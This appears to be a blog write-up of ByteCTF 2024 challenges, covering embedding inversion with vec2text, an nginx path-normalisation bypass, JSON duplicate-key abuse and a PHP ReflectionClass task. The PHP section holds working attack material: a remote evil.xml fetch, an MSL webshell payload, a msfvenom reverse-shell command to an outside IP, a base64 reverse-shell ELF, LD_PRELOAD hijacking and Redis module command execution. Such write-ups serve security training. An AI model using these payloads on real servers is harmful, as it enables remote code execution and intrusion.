2024ByteCTF


ByteCTF2024

AI

ezai

前面是pwntools交互和prompt+jinja2渲染ssti,提权后拿到embedding.json,要从embedding还原回flag明文,一开始考虑爆破flag内容并和embedding余弦相似度进行比较,在当前位相似度最高的字符串下爆破下一位直到爆破出flag为止,类似这样:

from volcenginesdkarkruntime import Ark
import numpy as np
embedding = np.array(embedding[0])

def cosine_similarity(a, b):
    return np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b))

client = Ark(
    base_url="https://ark.cn-beijing.volces.com/api/v3",
    api_key="********-****-****-****-************",
)

resp = client.embeddings.create(
    model="ep-20240922020210-sxwcc",
    # input=["ByteCTF{e039ffec-7edc-43cd-be59-352806c79ce1}"] 0.050100186655420036 0.03980661484708277
    input=["ByteCTF{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}"] 
)

def sliced_norm_l2(vec, dim=2048):
    # dim 取值 512,1024,2048
    norm = float(np.linalg.norm(vec[:dim]))
    return [v / norm for v in vec[:dim]]

result = np.array(resp.data[0].embedding)
print(cosine_similarity(embedding, sliced_norm_l2(result, 768)))

但是发现这个逻辑并不成立(比如Byte并不一定是Byt_爆破所有字符的结果中与embedding余弦相似度最近的一个),然后考虑vec2text,地址jxmorris12/vec2text:用于将深度表示(如句子嵌入)解码回文本的实用程序 —- jxmorris12/vec2text: utilities for decoding deep representations (like sentence embeddings) back to text (github.com),但vec2text支持的非原创模型只有openai的text-embedding-ada-002和gtr-base,text-embedding-ada-002的embedding是1536维的,gtr-base的是768维的,刚好与embedding.json所给embedding维数一样,于是

import vec2text
import torch

corrector = vec2text.load_pretrained_corrector("gtr-base")
print(vec2text.invert_embeddings(
    embeddings=torch.tensor(embedding),
    corrector=corrector,
    num_steps=20,
))

得到flag

Web

ezoldbuddy

一个纯前端登录界面,爆破不了,没有任何跳转

<!-- <div style="margin-top: 10px; text-align: center;">
     <a href="shopbytedancesdhjkf">Shop Bytedance</a>
 </div> -->

源码泄露路由/shopbytedancesdhjkf但是访问403,hint给出解析差异绕过,如nginx deny限制路径绕过 - 先知社区 (aliyun.com)所说,即为了防止绕过,nginx 在检查路径之前会执行路径规范化。但如果后端服务器执行不同的规范化(移除 nginx 不移除的字符),则可能绕过此防御。

nginx+flask可用\x85进行解析差异绕过,于是以GET方式请求/shopbytedancesdhjkf\x85(上CyberChef或者python hex解码都能得到\x85对应字符),成功访问

image.png

(一开始不知道为啥是flask,后来官方wp给出如果以GET方式请求/admin\x85会暴露django框架)

进入大采购环节,前端 be like

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 21 Sep 2024 12:18:19 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6319
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Checkout Page</title>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;700&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Roboto', sans-serif;
            margin: 0;
            padding: 0;
            background: #f9f9f9;
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
        }

        .container {
            width: 90%;
            max-width: 800px;
            background: #fff;
            padding: 2rem;
            border-radius: 10px;
            box-shadow: 0 10px 20px rgba(0, 0, 0, 0.1);
            text-align: center;
        }

        h1 {
            font-size: 2.5rem;
            margin-bottom: 1rem;
            color: #444;
        }

        .products, .cart {
            margin-bottom: 2rem;
        }

        .product-item, .cart-item {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1rem;
            padding: 1rem;
            background: #f1f1f1;
            border-radius: 5px;
        }

        .product-item h2, .cart-item h2 {
            font-size: 1.2rem;
            margin: 0;
        }

        .product-item p, .cart-item p {
            margin: 0;
            color: #888;
        }

        .total {
            font-size: 1.5rem;
            font-weight: bold;
            margin-top: 2rem;
        }

        .add-button, .checkout-button {
            padding: 0.5rem 1rem;
            background-color: #007bff;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 1rem;
            cursor: pointer;
            transition: background-color 0.3s ease;
        }

        .checkout-button {
            margin-top: 2rem;
            background-color: #28a745;
        }

        .add-button:hover {
            background-color: #0056b3;
        }

        .checkout-button:hover {
            background-color: #218838;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Your Shopping Cart</h1>

        <div class="products">
            <h2>Available Products</h2>
            <div id="product-list">
                <!-- Product items will be dynamically inserted here -->
            </div>
        </div>

        <div class="cart">
            <h2>Cart Items</h2>
            <div id="cart-items">
                <!-- Cart items will be dynamically inserted here -->
            </div>
        </div>

        <div class="total">Total: $<span id="total-amount">0.00</span></div>
        <div class="total">你的钱包: $<span id="total-wallet">500</span></div>
        <button class="checkout-button" onclick="handleCheckout()">Checkout</button>
        <p id="response-message"></p>
    </div>

    <script>
        const productDB = [{"name": "Product MY LIFE", "price": 100}, {"name": "Product SDLC", "price": 200}, {"name": "Product Guitar", "price": 300}, {"name": "Product Ukulele", "price": 400}, {"name": "Product TUBA", "price": 500}, {"name": "Product E5 2666V3", "price": 600}, {"name": "Product X99", "price": 700}, {"name": "Product 8G*2 RECC 1866", "price": 800}, {"name": "$100 E-Gift Card", "price": 100}, {"name": "FFFFFLLLLLAAAAAGGG J", "price": 10000}];
        let cart = [];

        function addToCart(productId) {
            const productIndex = cart.findIndex(item => item.id === productId);
            if (productIndex > -1) {
                cart[productIndex].qty += 1;
            } else {
                cart.push({ id: productId, qty: 1 });
            }
            updateCart();
        }

        function updateProductList() {
            const productListContainer = document.getElementById('product-list');

            productDB.forEach((product, index) => {
                const productItem = document.createElement('div');
                productItem.classList.add('product-item');
                productItem.innerHTML = `
                    <div>
                        <h2>${product.name}</h2>
                        <p>Price: $${product.price.toFixed(2)}</p>
                    </div>
                    <button class="add-button" onclick="addToCart(${index})">Add to Cart</button>
                `;
                productListContainer.appendChild(productItem);
            });
        }

        function updateCart() {
            const cartItemsContainer = document.getElementById('cart-items');
            
            const totalAmount = document.getElementById('total-amount');
            const totalWallet = document.getElementById('total-wallet');
            let total = 0;

            cartItemsContainer.innerHTML = '';  // Clear previous items

            cart.forEach(item => {
                const product = productDB[item.id];
                const itemTotal = product.price * item.qty;
                total += itemTotal;
                
                const cartItem = document.createElement('div');
                cartItem.classList.add('cart-item');
                cartItem.innerHTML = `
                    <div>
                        <h2>${product.name}</h2>
                        <p>${item.qty} x $${product.price.toFixed(2)}</p>
                    </div>
                    <div>$${itemTotal.toFixed(2)}</div>
                `;
                cartItemsContainer.appendChild(cartItem);
            });

            totalAmount.textContent = total.toFixed(2);
            totalWallet.textContent = (500 - total).toFixed(2);
        }

        function handleCheckout() {
            fetch('/cart/checkout', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ orderId: 1, cart: cart })
            })
            .then(response => response.text())
            .then(data => {
                document.getElementById('response-message').textContent = data;
            })
            .catch(error => console.error('Error:', error));
        }

        updateProductList();
    </script>
</body>
</html>

可以看到/shopbytedancesdhjkf/cart/checkout路由接受body为{orderId,cart:[{id,qty}]}形式的POST请求进行购物请求,但是稀里糊涂发了一个body为{orderId:1,cart:[{id:9,qty:1e4}]}的POST请求就出flag了image.png

后来发现正解是JSON解析差异-风险研究 - 先知社区 (aliyun.com)里提到的包含两个重复的键的json中,python处理的方式为以重复的第二个键为主,go jsonparser处理的方式为以重复的第一个键为主(我求你原文作者别打错别字),构造的json中包含一小一大两个qty值就可以实现零元购从而得到flag(另外好像不用买flag,只需要买的商品价值总额为100万即可)

至于非预期是为什么就不得而知了

ezobj

一道没有官方wp的题

<?php
ini_set("display_errors", "On");
include_once("config.php");
if (isset($_GET['so']) && isset($_GET['key'])) {
    if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
        array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
        putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
    }
}
if (isset($_GET['byte']) && isset($_GET['ctf'])) {  
    $a = new ReflectionClass($_GET['byte']);
    $b = $a->newInstanceArgs($_GET['ctf']);
    // echo $b;
} elseif (isset($_GET['clean'])){
    array_map('unlink', glob('/tmp/*'));
} else {
    highlight_file(__FILE__);
    echo 'Hello ByteCTF2024!';
}
// phpinfo.html Hello ByteCTF2024!

查看phpinfo,有simplexml和imagick

天枢的文档里config.php莫名就读取到了,那借鉴一下wm的wp,先用simplexml写入php读取config.php

POST /?byte=SimpleXMLElement&ctf[0]=http://8.130.24.188/evil.xml&ctf[1]=2&ctf[2]=true HTTP/1.1
Host: a1bc48a6.clsadp.com
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Length: 345

------WebKitFormBoundaryTrWYaXKoVR1wiLhP
Content-Disposition: form-data; name="file"; filename="vulhub.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
  <read filename="caption:<?php system($_REQUEST['cmd']); ?>"/>
  <write filename="info:s.php" />
</image>
------WebKitFormBoundaryTrWYaXKoVR1wiLhP--

等效于 SimpleXMLElement("http://8.130.24.188/evil.xml",2,true) ,其中true代表第一个参数为url

读取到secret=HelloByteCTF2024,先用msfvenom -p linux/x64/shell_reverse_tcp LHOST=82.156.18.214 LPORT=8080 -f elf-so > shell.so生成恶意.so,再用Imagick(vid:msl:/tmp/php*)迂回上传

POST /?byte=Imagick&ctf[0]=vid:msl:/tmp/php* HTTP/1.1
Host: ad2961ae.clsadp.com
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 918
Content-Type: multipart/form-data; boundary=15605bdf9aec6250208b22b032a9960b

--15605bdf9aec6250208b22b032a9960b
Content-Disposition: form-data; name="files"; filename="aaa.py"

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AEAAAAAAAAmAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAH5BSnBLWUUiJ5moQWmoqWA8FagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU="/>
<write filename="/tmp/13.so"/>
</image>
--15605bdf9aec6250208b22b032a9960b--

然后利用SplFileObject(/tmp/sky.wmv,w)写入空wmv文件并劫持.so

GET /?byte=SplFileObject&ctf[]=/tmp/sky.wmv&ctf[]=w HTTP/1.1
Host: ad2961ae.clsadp.com
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0
GET /?so=13&key=HelloByteCTF2024&byte=Imagick&ctf[]=/tmp/sky.wmv HTTP/1.1
Host: ad2961ae.clsadp.com
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0

拿到redis密码:bytectfa0d90b,进行redis module提权

redis-cli
auth bytectfa0d90b
MODULE LOAD /tmp/exploit.so
system.exec 'ls /root'
system.exec 'cat /root/flag'

文章作者: C26H52
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 C26H52 !
  目录